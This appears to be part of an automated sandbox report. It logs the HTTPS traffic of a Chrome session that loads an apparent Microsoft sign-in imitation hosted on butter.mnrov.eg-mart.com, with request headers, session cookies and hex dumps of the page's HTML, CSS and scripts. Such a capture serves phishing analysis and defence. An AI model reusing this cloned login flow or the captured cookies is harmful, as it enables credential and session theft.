2024-11-14 15:39:38 UTC	14342	IN	Data Raw: 38 34 62 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 4e 79 71 30 41 6e 53 53 54 78 72 47 65 4c 5f 32 32 30 55 2d 67 54 76 34 34 39 38 70 45 57 61 76 59 72 62 34 78 4f 55 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b Data Ascii: 84b... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head> <title>wNyq0AnSSTxrGeL_220U-gTv4498pEWavYrb4xOU</title> <meta http-equiv="Content-Type" content="text/html;
2024-11-14 15:39:38 UTC	16384	IN	Data Raw: 5f 65 47 47 58 33 39 74 76 73 36 65 6b 49 66 54 77 51 63 6b 48 49 49 70 6b 32 5f 4d 53 30 53 38 78 43 69 2d 6e 5f 43 34 7a 4b 35 6d 48 6f 65 53 4c 51 34 63 73 56 71 6b 6e 4c 33 6a 67 69 4c 49 54 70 6d 43 63 6c 77 63 30 55 50 35 76 62 5f 77 79 75 6a 50 47 4d 67 66 75 35 41 37 67 5a 66 41 69 6b 65 65 71 6d 47 78 5a 56 4d 6c 74 69 4c 30 6c 41 56 4b 6a 57 47 68 4c 49 34 47 69 32 42 6f 5a 41 34 76 65 4e 39 39 61 4b 61 77 32 30 56 68 4e 68 77 73 36 6b 58 63 53 39 31 4c 52 62 4e 57 66 41 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 6d 6f 64 65 3d 66 6f 72 6d 5f 70 6f 73 74 5c 75 30 30 32 36 6e 6f 6e 63 65 3d 36 33 38 36 37 31 39 35 35 37 31 38 32 33 37 32 36 33 2e 4d 6a 6b 31 4d 6a 68 6d 4d 6d 51 74 59 6a 45 35 4e 53 30 30 4e 47 59 31 4c 54 6b 34 4d 7a 63 74 5a Data Ascii: _eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA\u0026response_mode=form_post\u0026nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZ
2024-11-14 15:39:39 UTC	16077	IN	Data Raw: 72 75 65 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 20 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 72 3d 65 2e 24 44 65 62 75 67 3d 65 2e 24 44 65 62 75 67 7c 7c 7b 7d 2c 74 3d 65 2e 24 43 6f 6e 66 69 67 7c 7c 7b 7d 3b 69 66 28 21 72 2e 61 70 70 65 6e 64 4c 6f 67 29 7b 76 61 72 20 6e 3d 5b 5d 2c 6f 3d 30 3b 72 2e 61 70 70 65 6e 64 4c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 2e 6d 61 78 44 65 62 75 67 4c 6f 67 7c 7c 32 35 2c 69 3d 28 6e 65 77 20 44 61 74 65 29 2e 74 6f 55 54 43 53 74 72 69 6e 67 28 29 2b 22 3a 22 2b 65 3b 6e 2e 70 75 73 68 28 6f 2b 22 3a 22 2b Data Ascii: rue};//...</script> <script type="text/javascript">//<![CDATA[!function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49727	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:38 UTC	1968	OUT	GET /favicon.ico HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFehMDaCkEHJl95iOF4C7Xrda9-Or67sheJVn3EqkqYpyngYlw0bzdzpioEF9Q5o2bpLoZncUAvtbzveH4ataKofBSioXhkodH8o-RC8NzTHs9chMs6fGLfMCQ9lN3Qj63_TpVxqMlgeHA-OmWdSce9UEYylKKjmZuk1x2spTgANvMgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-14 15:39:38 UTC	690	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:38 GMT Content-Length: 0 Connection: close Cache-Control: private Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+frc"}]} Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly X-Ms-Ests-Server: 2.1.19343.4 - WEULR1 ProdSlices X-Ms-Request-Id: afb8b147-52db-42fa-b75f-a462caa50c00 X-Ms-Srs: 1.P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49733	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:39 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-14 15:39:39 UTC	494	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=26073 Date: Thu, 14 Nov 2024 15:39:39 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49732	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:39 UTC	658	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://butter.mnrov.eg-mart.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:40 UTC	734	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4237847 Cache-Control: public, max-age=31536000 Content-MD5: 8N6amNvfqMAnQs5tkvslJA== Content-Type: text/css Date: Thu, 14 Nov 2024 15:39:39 GMT Etag: 0x8DCDDAB171F8006 Last-Modified: Wed, 25 Sep 2024 21:43:27 GMT Server: ECAcc (lhc/78AC) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 541c8d22-201e-00d2-0520-100289000000 x-ms-version: 2009-09-19 Content-Length: 113378 Connection: close
2024-11-14 15:39:40 UTC	16383	IN	Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 Data Ascii: /! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed
2024-11-14 15:39:40 UTC	16383	IN	Data Raw: 73 2d 31 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 2d 78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a Data Ascii: s-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{float:
2024-11-14 15:39:40 UTC	16383	IN	Data Raw: 72 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 Data Ascii: rgin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-sizing:border-box;-moz-b
2024-11-14 15:39:40 UTC	16383	IN	Data Raw: 66 6c 6f 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 Data Ascii: flow-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.ta
2024-11-14 15:39:40 UTC	4	IN	Data Raw: 55 49 22 2c Data Ascii: UI",
2024-11-14 15:39:40 UTC	16383	IN	Data Raw: 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 Data Ascii: "Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongoli
2024-11-14 15:39:40 UTC	16383	IN	Data Raw: 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 35 64 61 36 7d 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2d 66 6f 63 75 73 2c 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 62 75 74 74 6f 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 35 64 61 36 3b 74 65 78 74 2d 64 65 63 6f 72 61 Data Ascii: :hover{background-color:#005da6}.btn.btn-primary-focus,.btn.btn-primary:focus,button.btn-primary:focus,input[type="button"].btn-primary:focus,input[type="submit"].btn-primary:focus,input[type="reset"].btn-primary:focus{background-color:#005da6;text-decora
2024-11-14 15:39:40 UTC	15076	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 3b 63 6f 6c 6f 72 3a 23 31 62 31 62 31 62 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 36 70 78 Data Ascii: -bottom:20px;margin-top:20px;margin-bottom:1.25rem;margin-top:1.25rem;font-size:24px;line-height:28px;font-weight:300;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px;color:#1b1b1b;font-size:1.5rem;font-weight:600;padding:0;margin-top:16px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49736	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:40 UTC	692	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: butter2.mnrov.eg-mart.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:40 UTC	724	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=315360000 Expires: Sun, 12 Nov 2034 15:39:40 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: PH1PEPF00011EDA V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=cf4cea7dd6f64493aefbc2cfc9d84ae8; domain=butter2.mnrov.eg-mart.com; Secure; path=/; SameSite=None; HttpOnly Set-Cookie: MSPRequ=id=N&lt=1731598780&co=1; domain=butter2.mnrov.eg-mart.com; Secure; path=/; SameSite=None; HttpOnly Vary: Accept-Encoding X-Ms-Request-Id: 33aaa876-4b80-418b-a3ca-aeea7a6afaee X-Ms-Route-Info: C538_BAY
2024-11-14 15:39:40 UTC	3462	IN	Data Raw: 64 37 61 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 65 29 74 5b 73 5d 3d 65 5b 73 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 69 66 28 73 5b 6e 5d 29 72 65 74 75 72 6e 20 73 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 73 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 65 29 2c 69 2e 6c 6f 61 64 65 64 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 73 3d 7b 7d 3b 72 65 74 75 72 6e 20 Data Ascii: d7a<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49734	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:40 UTC	635	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://butter.mnrov.eg-mart.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:40 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3180648 Cache-Control: public, max-age=31536000 Content-MD5: FH5pMpu6b85N3p947XewnA== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:40 GMT Etag: 0x8DCE4DDC9563CC2 Last-Modified: Sat, 05 Oct 2024 01:33:59 GMT Server: ECAcc (lhc/7966) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c1c9facd-f01e-0047-7abd-19ea3c000000 x-ms-version: 2009-09-19 Content-Length: 449972 Connection: close
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
